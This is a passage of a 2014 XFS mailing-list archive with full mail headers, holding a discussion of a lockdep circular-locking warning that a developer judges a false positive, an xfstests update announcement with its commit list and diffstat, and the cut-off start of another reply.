(&mm->mmap_sem){++++++}: > [ 132.638132] [<ffffffff810de0fc>] __lock_acquire+0x18ec/0x1aa0 > [ 132.638133] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 > [ 132.638135] [<ffffffff811b849c>] might_fault+0x8c/0xb0 > [ 132.638136] [<ffffffff81220a91>] filldir+0x91/0x120 > [ 132.638138] [<ffffffffa0560f7f>] xfs_dir2_sf_getdents+0x23f/0x2a0 [xfs] > [ 132.638146] [<ffffffffa05613fb>] xfs_readdir+0x16b/0x1d0 [xfs] > [ 132.638154] [<ffffffffa056383b>] xfs_file_readdir+0x2b/0x40 [xfs] > [ 132.638161] [<ffffffff812208d8>] iterate_dir+0xa8/0xe0 > [ 132.638163] [<ffffffff81220d83>] SyS_getdents+0x93/0x120 > [ 132.638165] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b > [ 132.638166] Ok, that's in the path where we added the ip->i_lock rwsem being held in read mode. > other info that might help us debug this: > [ 132.638167] Possible unsafe locking scenario: > > [ 132.638168] CPU0 CPU1 > [ 132.638169] ---- ---- > [ 132.638169] lock(&(&ip->i_lock)->mr_lock); > [ 132.638171] lock(&mm->mmap_sem); > [ 132.638172] lock(&(&ip->i_lock)->mr_lock); > [ 132.638173] lock(&mm->mmap_sem); You can't mmap directories, and so the page fault lock order being shown for CPU1 can't happen on a directory. False positive. *sigh* More complexity in setting up inode lock order instances is required so that lockdep doesn't confuse the lock ordering semantics of directories with regular files. As if that code to make lockdep happy wasn't complex enough already.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From jwboyer@gmail.com Thu Jan 23 20:51:10 2014 Return-Path: <jwboyer@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E35827FB2 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 20:51:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8FBE5304051 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:51:07 -0800 (PST) X-ASG-Debug-ID: 1390531865-04bdf030ebd87e0001-NocioJ Received: from mail-ob0-f180.google.com (mail-ob0-f180.google.com [209.85.214.180]) by cuda.sgi.com with ESMTP id 9BMQdBx6gpUt0Qo6 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:51:06 -0800 (PST) X-Barracuda-Envelope-From: jwboyer@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] Received: by mail-ob0-f180.google.com with SMTP id wp4so3036470obc.11 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:51:05 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=37qdmTG5U8x69sUY4uUWYS8ch1XV9YADxgaeXVobVUI=; b=0AyrMR4bWLUAiVTUS1hsWT8LG3v6lP5rSHaJi46MQ5rF45kyABCa15cLY5ksipcjvI zTxA5baPIRf05Iiem/XX+nntdcERkabgPgnH/cQYBNcSbSTcbO28mbijF3hJSaNANKco uyC0bqMbiFSRMXXRUlyIGYq3ze3dunJa9+lhnCIVZPc/iIXd2e5iUYqh2i3Qq5WqkUZz 3wsfJWGbWRKOzxtH+3UDOeQHmz2SbUJ+yzzrVQhU9hbKxLay9prjslr7JmjQh4VCv1bX fucZ6pfg65OYXfP1QyM+ZWkdXLEXUFnJRc3yBJjoZlDdGJ8IkDWgvNwT0BZGjJ6B4A0a 1qFQ== MIME-Version: 1.0 X-Received: by 10.182.84.132 with SMTP id z4mr10163908oby.49.1390531865359; Thu, 23 Jan 2014 18:51:05 -0800 (PST) Sender: jwboyer@gmail.com Received: by 10.76.27.197 with HTTP; Thu, 23 Jan 2014 18:51:05 -0800 (PST) In-Reply-To: <20140124022903.GK27606@dastard> References: <20140124015855.GM16455@hansolo.jdub.homelinux.org> <20140124022903.GK27606@dastard> Date: Thu, 23 Jan 2014 21:51:05 -0500 X-Google-Sender-Auth: 82o4QYflGMD6m1C4YPUJU1wfUe0 Message-ID: <CA+5PVA4i0xp7jqcR=yMG3BjucXfkbM+yXP7YoDHWZgbLtdej-Q@mail.gmail.com> Subject: Re: XFS lockdep spew with v3.13-4156-g90804ed From: Josh Boyer <jwboyer@fedoraproject.org> X-ASG-Orig-Subj: Re: XFS lockdep spew with v3.13-4156-g90804ed To: Dave Chinner <david@fromorbit.com> Cc: Ben Myers <bpm@sgi.com>, Eric Sandeen <sandeen@redhat.com>, xfs@oss.sgi.com, "Linux-Kernel@Vger. Kernel. Org" <linux-kernel@vger.kernel.org> Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ob0-f180.google.com[209.85.214.180] X-Barracuda-Start-Time: 1390531865 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144414 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Jan 23, 2014 at 9:29 PM, Dave Chinner <david@fromorbit.com> wrote: > On Thu, Jan 23, 2014 at 08:58:56PM -0500, Josh Boyer wrote: >> Hi All, >> >> I'm hitting an XFS lockdep error with Linus' tree today after the XFS >> merge. I wasn't hitting this with v3.13-3995-g0dc3fd0, which seems >> to backup the "before XFS merge" claim. Full text below: > > Ugh. mmap_sem/inode lock order stupidity. > > Looks like a false positive. Basically, it's complaining that a page > fault can occur in getdents() syscall on a user buffer while the > directory IO lock is held, and then complaining that a this is the > opposite lock order for a >> >> >> [ 132.638044] ====================================================== >> [ 132.638045] [ INFO: possible circular locking dependency detected ] >> [ 132.638047] 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 Not tainted >> [ 132.638048] ------------------------------------------------------- >> [ 132.638049] gnome-session/1432 is trying to acquire lock: >> [ 132.638050] (&mm->mmap_sem){++++++}, at: [<ffffffff811b846f>] might_fault+0x >> 5f/0xb0 >> [ 132.638055] >> but task is already holding lock: >> [ 132.638056] (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05b3c12>] xfs_ >> ilock+0xf2/0x1c0 [xfs] >> [ 132.638076] >> which lock already depends on the new lock. >> >> [ 132.638077] >> the existing dependency chain (in reverse order) is: >> [ 132.638078] >> -> #1 (&(&ip->i_lock)->mr_lock){++++..}: >> [ 132.638080] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 >> [ 132.638083] [<ffffffff8178312e>] _raw_spin_lock+0x3e/0x80 >> [ 132.638085] [<ffffffff8123c579>] __mark_inode_dirty+0x119/0x440 >> [ 132.638088] [<ffffffff812447fc>] __set_page_dirty+0x6c/0xc0 >> [ 132.638090] [<ffffffff812477e1>] mark_buffer_dirty+0x61/0x180 >> [ 132.638092] [<ffffffff81247a31>] __block_commit_write.isra.21+0x81/0xb0 >> [ 132.638094] [<ffffffff81247be6>] block_write_end+0x36/0x70 >> [ 132.638096] [<ffffffff81247c48>] generic_write_end+0x28/0x90 >> [ 132.638097] [<ffffffffa0554cab>] xfs_vm_write_end+0x2b/0x70 [xfs] >> [ 132.638104] [<ffffffff8118c4f6>] generic_file_buffered_write+0x156/0x260 >> [ 132.638107] [<ffffffffa05651d7>] xfs_file_buffered_aio_write+0x107/0x250 [xfs] >> [ 132.638115] [<ffffffffa05653eb>] xfs_file_aio_write+0xcb/0x130 [xfs] >> [ 132.638122] [<ffffffff8120af8a>] do_sync_write+0x5a/0x90 >> [ 132.638125] [<ffffffff8120b74d>] vfs_write+0xbd/0x1f0 >> [ 132.638126] [<ffffffff8120c15c>] SyS_write+0x4c/0xa0 >> [ 132.638128] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b > > Sorry, what? That trace is taking the ip->i_vnode->i_lock > *spinlock*, not the ip->i_lock *rwsem*. And it's most definitely not > currently holding the ip->i_lock rwsem here. I think lockdep has > dumped the wrong stack trace here, because it most certainly doesn't > match the unsafe locking scenario that has been detected. I rebooted again with the same kernel and lockdep spit out a different stacktrace for this part. See below. The rest looks mostly the same, and it spews when I log into gnome, so at least it's recreatable. > You can't mmap directories, and so the page fault lock order being > shown for CPU1 can't happen on a directory. False positive. > > *sigh* > > More complexity in setting up inode lock order instances is required > so that lockdep doesn't confuse the lock ordering semantics of > directories with regular files. As if that code to make lockdep > happy wasn't complex enough already.... So the summary is basically: false positive with additional annotations needed? josh Full output of the lockdep report after I rebooted (sorry if the formatting is off, I'm on a different machine and doing this remotely until tomorrow.) [ 104.565930] ====================================================== [ 104.565931] [ INFO: possible circular locking dependency detected ] [ 104.565933] 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 Not tainted [ 104.565934] ------------------------------------------------------- [ 104.565935] gnome-session/1450 is trying to acquire lock: [ 104.565936] (&mm->mmap_sem){++++++}, at: [<ffffffff811b846f>] might_fault+0x5f/0xb0 [ 104.565942] but task is already holding lock: [ 104.565943] (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05f4c12>] xfs_ilock+0xf2/0x1c0 [xfs] [ 104.565963] which lock already depends on the new lock. [ 104.565964] the existing dependency chain (in reverse order) is: [ 104.565965] -> #1 (&(&ip->i_lock)->mr_lock){++++..}: [ 104.565967] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 104.565970] [<ffffffff810d7d27>] down_read_nested+0x57/0xa0 [ 104.565972] [<ffffffffa05f4c12>] xfs_ilock+0xf2/0x1c0 [xfs] [ 104.565983] [<ffffffffa05f4cff>] xfs_ilock_data_map_shared+0x1f/0x40 [xfs] [ 104.565995] [<ffffffffa0597367>] __xfs_get_blocks+0x87/0x730 [xfs] [ 104.566002] [<ffffffffa0597a21>] xfs_get_blocks+0x11/0x20 [xfs] [ 104.566008] [<ffffffff812531e7>] do_mpage_readpage+0x447/0x670 [ 104.566011] [<ffffffff812534eb>] mpage_readpages+0xdb/0x130 [ 104.566012] [<ffffffffa0595ddd>] xfs_vm_readpages+0x1d/0x20 [xfs] [ 104.566019] [<ffffffff8119b222>] __do_page_cache_readahead+0x2c2/0x360 [ 104.566022] [<ffffffff8119b9b1>] ra_submit+0x21/0x30 [ 104.566023] [<ffffffff8118ed7d>] filemap_fault+0x37d/0x420 [ 104.566026] [<ffffffff811b8a9f>] __do_fault+0x6f/0x520 [ 104.566027] [<ffffffff811bcd91>] handle_mm_fault+0x3b1/0xe60 [ 104.566029] [<ffffffff81787e94>] __do_page_fault+0x174/0x5e0 [ 104.566031] [<ffffffff8178830e>] do_page_fault+0xe/0x10 [ 104.566032] [<ffffffff81784538>] page_fault+0x28/0x30 [ 104.566034] -> #0 (&mm->mmap_sem){++++++}: [ 104.566036] [<ffffffff810de0fc>] __lock_acquire+0x18ec/0x1aa0 [ 104.566038] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 104.566040] [<ffffffff811b849c>] might_fault+0x8c/0xb0 [ 104.566041] [<ffffffff81220a91>] filldir+0x91/0x120 [ 104.566043] [<ffffffffa05a1f7f>] xfs_dir2_sf_getdents+0x23f/0x2a0 [xfs] [ 104.566051] [<ffffffffa05a23fb>] xfs_readdir+0x16b/0x1d0 [xfs] [ 104.566059] [<ffffffffa05a483b>] xfs_file_readdir+0x2b/0x40 [xfs] [ 104.566066] [<ffffffff812208d8>] iterate_dir+0xa8/0xe0 [ 104.566068] [<ffffffff81220d83>] SyS_getdents+0x93/0x120 [ 104.566070] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b [ 104.566072] other info that might help us debug this: [ 104.566073] Possible unsafe locking scenario: [ 104.566074] CPU0 CPU1 [ 104.566075] ---- ---- [ 104.566075] lock(&(&ip->i_lock)->mr_lock); [ 104.566077] lock(&mm->mmap_sem); [ 104.566078] lock(&(&ip->i_lock)->mr_lock); [ 104.566079] lock(&mm->mmap_sem); [ 104.566081] *** DEADLOCK *** [ 104.566082] 2 locks held by gnome-session/1450: [ 104.566083] #0: (&type->i_mutex_dir_key#4){+.+.+.}, at: [<ffffffff81220892>] iterate_dir+0x62/0xe0 [ 104.566087] #1: (&(&ip->i_lock)->mr_lock){++++..}, at: [<ffffffffa05f4c12>] xfs_ilock+0xf2/0x1c0 [xfs] [ 104.566099] stack backtrace: [ 104.566101] CPU: 4 PID: 1450 Comm: gnome-session Not tainted 3.14.0-0.rc0.git7.1.fc21.x86_64 #1 [ 104.566102] Hardware name: Dell Inc. XPS 8300 /0Y2MRG, BIOS A06 10/17/2011 [ 104.566103] ffffffff825ba040 ffff8800b8dedc60 ffffffff8177a8c9 ffffffff825ba040 [ 104.566106] ffff8800b8dedca0 ffffffff8177616c ffff8800b8dedcf0 ffff8802fb842648 [ 104.566108] ffff8802fb841ab0 0000000000000002 0000000000000002 ffff8802fb842648 [ 104.566110] Call Trace: [ 104.566113] [<ffffffff8177a8c9>] dump_stack+0x4d/0x66 [ 104.566115] [<ffffffff8177616c>] print_circular_bug+0x201/0x20f [ 104.566117] [<ffffffff810de0fc>] __lock_acquire+0x18ec/0x1aa0 [ 104.566119] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 [ 104.566121] [<ffffffff811b846f>] ? might_fault+0x5f/0xb0 [ 104.566123] [<ffffffff811b849c>] might_fault+0x8c/0xb0 [ 104.566124] [<ffffffff811b846f>] ? might_fault+0x5f/0xb0 [ 104.566126] [<ffffffff81220a91>] filldir+0x91/0x120 [ 104.566134] [<ffffffffa05a1f7f>] xfs_dir2_sf_getdents+0x23f/0x2a0 [xfs] [ 104.566145] [<ffffffffa05f4c12>] ? xfs_ilock+0xf2/0x1c0 [xfs] [ 104.566153] [<ffffffffa05a23fb>] xfs_readdir+0x16b/0x1d0 [xfs] [ 104.566161] [<ffffffffa05a483b>] xfs_file_readdir+0x2b/0x40 [xfs] [ 104.566163] [<ffffffff812208d8>] iterate_dir+0xa8/0xe0 [ 104.566166] [<ffffffff8122ca7c>] ? fget_light+0x3c/0x4f0 [ 104.566168] [<ffffffff81220d83>] SyS_getdents+0x93/0x120 [ 104.566170] [<ffffffff81220a00>] ? fillonedir+0xf0/0xf0 [ 104.566172] [<ffffffff81134ecc>] ? __audit_syscall_entry+0x9c/0xf0 [ 104.566174] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b From david@fromorbit.com Thu Jan 23 20:59:19 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C0D6D7FC5 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 20:59:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 854EB304048 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:59:19 -0800 (PST) X-ASG-Debug-ID: 1390532357-04bdf030e9d8b80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id kJsNq8x07jxHmKQ6 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 18:59:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AioUAL/W4VJ5LGaB/2dsb2JhbABagww4gwKkNQOQAoVQgQsXdIJmHCMYJDQFJQM0iATHSxaOah2CGQ+BegSYIpIZg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Jan 2014 13:28:49 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6Wyk-0006n4-G2; Fri, 24 Jan 2014 13:58:46 +1100 Date: Fri, 24 Jan 2014 13:58:46 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [ANNOUNCE] xfstests updated to 197f773 Message-ID: <20140124025846.GL27606@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests updated to 197f773 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390532357 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144414 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi all, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. The new head of the master branch is commit: 197f773 xfstests: define $seqres in btrfs/026-029 New Commits: Dave Chinner (7): [ea0b6eb] xfs: test scratch device mkfs features [b9b5d74] xfs: New _require_* tests for CRC enabled filesystems [86e91cc] xfs: add fsstress/recovery test [5b524ee] xfs/073, 208: remove .full output before starting the test [b04b0fd] xfs: support xfs_metadump with external logs [3ed573e] xfs/104: use fixed log size [7657a10] generic/204: use fixed log size for XFS David Sterba (3): [80622a6] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 [586a06c] xfstests: use value of FSTYP if defined externally [1ed9046] xfstests: clean command names in btrfs tests Eric Sandeen (1): [a93b1dd] ext4: regression test for ext4 resize with non-extent files Filipe David Borba Manana (1): [8c427eb] xfstests: add test for btrfs incremental send infinite loop issue Koen De Wit (2): [0c58766] xfstests: btrfs: cross-subvolume sparse copy [197f773] xfstests: define $seqres in btrfs/026-029 Code Diffstat: README | 3 ++ check | 13 ++--- common/attr | 6 +++ common/rc | 122 +++++++++++++++++++++++++++--------------- tests/btrfs/003 | 2 +- tests/btrfs/004 | 2 +- tests/btrfs/007 | 4 +- tests/btrfs/008 | 12 ++--- tests/btrfs/009 | 6 +-- tests/btrfs/013 | 2 +- tests/btrfs/014 | 6 +-- tests/btrfs/015 | 2 +- tests/btrfs/016 | 14 ++--- tests/btrfs/017 | 2 +- tests/btrfs/019 | 14 ++--- tests/btrfs/022 | 6 +-- tests/btrfs/024 | 2 +- tests/btrfs/025 | 4 +- tests/btrfs/026 | 1 + tests/btrfs/027 | 1 + tests/btrfs/028 | 1 + tests/btrfs/029 | 1 + tests/btrfs/030 | 149 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/030.out | 1 + tests/btrfs/031 | 138 ++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/031.out | 48 +++++++++++++++++ tests/btrfs/group | 2 + tests/ext4/306 | 82 +++++++++++++++++++++++++++++ tests/ext4/306.out | 13 +++++ tests/ext4/group | 1 + tests/generic/204 | 4 ++ tests/generic/208 | 2 + tests/shared/298 | 2 +- tests/xfs/073 | 2 + tests/xfs/104 | 2 +- tests/xfs/186 | 1 + tests/xfs/187 | 32 ++++++----- tests/xfs/244 | 1 + tests/xfs/253 | 3 +- tests/xfs/278 | 1 + tests/xfs/287 | 3 +- tests/xfs/291 | 4 +- tests/xfs/306 | 105 ++++++++++++++++++++++++++++++++++++ tests/xfs/306.out | 2 + tests/xfs/group | 1 + 45 files changed, 716 insertions(+), 109 deletions(-) -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Jan 23 21:01:11 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0635E7FC5 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 21:01:11 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 68780AC004 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 19:01:07 -0800 (PST) X-ASG-Debug-ID: 1390532464-04cbb05bacc9c30001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Ar174beEJ4qRhVCo for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 19:01:05 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AugJAL/W4VJ5LGaB/2dsb2JhbABagwyDOrQ6hVCBCxd0giUBAQEEJxMcIxAIAw4KCSUPBSUDIROIBMdLFo5qB4Q4BJQ9g2WSGYNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 24 Jan 2014 13:31:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6X0v-0006nm-1n; Fri, 24 Jan 2014 14:01:01 +1100 Date: Fri, 24 Jan 2014 14:01:01 +1100 From: Dave Chinner <david@fromorbit.com> To: Josh Boyer <jwboyer@fedoraproject.org> Cc: Ben Myers <bpm@sgi.com>, Eric Sandeen <sandeen@redhat.com>, xfs@oss.sgi.com, "Linux-Kernel@Vger. Kernel. Org" <linux-kernel@vger.kernel.org> Subject: Re: XFS lockdep spew with v3.13-4156-g90804ed Message-ID: <20140124030100.GM27606@dastard> X-ASG-Orig-Subj: Re: XFS lockdep spew with v3.13-4156-g90804ed References: <20140124015855.GM16455@hansolo.jdub.homelinux.org> <20140124022903.GK27606@dastard> <CA+5PVA4i0xp7jqcR=yMG3BjucXfkbM+yXP7YoDHWZgbLtdej-Q@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <CA+5PVA4i0xp7jqcR=yMG3BjucXfkbM+yXP7YoDHWZgbLtdej-Q@mail.gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1390532464 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144414 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 23, 2014 at 09:51:05PM -0500, Josh Boyer wrote: > On Thu, Jan 23, 2014 at 9:29 PM, Dave Chinner <david@fromorbit.com> wrote: > > On Thu, Jan 23, 2014 at 08:58:56PM -0500, Josh Boyer wrote: > >> the existing dependency chain (in reverse order) is: > >> [ 132.638078] > >> -> #1 (&(&ip->i_lock)->mr_lock){++++..}: > >> [ 132.638080] [<ffffffff810deaa2>] lock_acquire+0xa2/0x1d0 > >> [ 132.638083] [<ffffffff8178312e>] _raw_spin_lock+0x3e/0x80 > >> [ 132.638085] [<ffffffff8123c579>] __mark_inode_dirty+0x119/0x440 > >> [ 132.638088] [<ffffffff812447fc>] __set_page_dirty+0x6c/0xc0 > >> [ 132.638090] [<ffffffff812477e1>] mark_buffer_dirty+0x61/0x180 > >> [ 132.638092] [<ffffffff81247a31>] __block_commit_write.isra.21+0x81/0xb0 > >> [ 132.638094] [<ffffffff81247be6>] block_write_end+0x36/0x70 > >> [ 132.638096] [<ffffffff81247c48>] generic_write_end+0x28/0x90 > >> [ 132.638097] [<ffffffffa0554cab>] xfs_vm_write_end+0x2b/0x70 [xfs] > >> [ 132.638104] [<ffffffff8118c4f6>] generic_file_buffered_write+0x156/0x260 > >> [ 132.638107] [<ffffffffa05651d7>] xfs_file_buffered_aio_write+0x107/0x250 [xfs] > >> [ 132.638115] [<ffffffffa05653eb>] xfs_file_aio_write+0xcb/0x130 [xfs] > >> [ 132.638122] [<ffffffff8120af8a>] do_sync_write+0x5a/0x90 > >> [ 132.638125] [<ffffffff8120b74d>] vfs_write+0xbd/0x1f0 > >> [ 132.638126] [<ffffffff8120c15c>] SyS_write+0x4c/0xa0 > >> [ 132.638128] [<ffffffff8178db69>] system_call_fastpath+0x16/0x1b > > > > Sorry, what? That trace is taking the ip->i_vnode->i_lock > > *spinlock*, not the ip->i_lock *rwsem*. And it's most definitely not > > currently holding the ip->i_lock rwsem here. I think lockdep has > > dumped the wrong stack trace here, because it most certainly doesn't > > match the unsafe locking scenario that has been detected. > > I rebooted again with the same kernel and lockdep spit out a different > stacktrace for this part. See below. The rest looks mostly the same, > and it spews when I log into gnome, so at least it's recreatable. Right, it spat out the correct one this time - block mapping in the IO path run from a page fault. > > > You can't mmap directories, and so the page fault lock order being > > shown for CPU1 can't happen on a directory. False positive. > > > > *sigh* > > > > More complexity in setting up inode lock order instances is required > > so that lockdep doesn't confuse the lock ordering semantics of > > directories with regular files. As if that code to make lockdep > > happy wasn't complex enough already.... > > So the summary is basically: false positive with additional annotations needed? Precisely. Cheers, Dave. -- Dave Chinner david@fromorbit.com From saskani@inovex.de Fri Jan 24 01:56:38 2014 Return-Path: <saskani@inovex.de> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B98B57FCD for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 01:56:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97515304043 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 23:56:35 -0800 (PST) X-ASG-Debug-ID: 1390550193-04cbb05babd0990001-NocioJ Received: from zmail.inovex.de (zmail.inovex.de [85.115.6.137]) by cuda.sgi.com with ESMTP id BRfEic7uF4Y8kj63 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 23:56:33 -0800 (PST) X-Barracuda-Envelope-From: saskani@inovex.de X-Barracuda-Apparent-Source-IP: 85.115.6.137 Received: from zmail.inovex.de (localhost [127.0.0.1]) by zmail.inovex.de (Postfix) with ESMTP id E9D3A3FF04; Fri, 24 Jan 2014 08:58:21 +0100 (CET) Received: from [10.10.51.81] (unknown [10.10.51.81]) by zmail.inovex.de (Postfix) with ESMTPSA id C54383FEE5; Fri, 24 Jan 2014 08:58:21 +0100 (CET) Content-Type: multipart/signed; boundary="Apple-Mail=_C562A3D2-2CF8-4479-8A45-891CF2219301"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Weird XFS Corruption Error From: Sascha Askani <saskani@inovex.de> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error In-Reply-To: <20140122233141.GI27606@dastard> Date: Fri, 24 Jan 2014 08:56:32 +0100 Cc: xfs@oss.sgi.com Message-Id: <FF1E62DE-5CFC-469B-BBF7-F5AB04AD4C0C@inovex.de> References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> <20140122233141.GI27606@dastard> To: Dave Chinner <david@fromorbit.com> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: zmail.inovex.de[85.115.6.137] X-Barracuda-Start-Time: 1390550193 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of 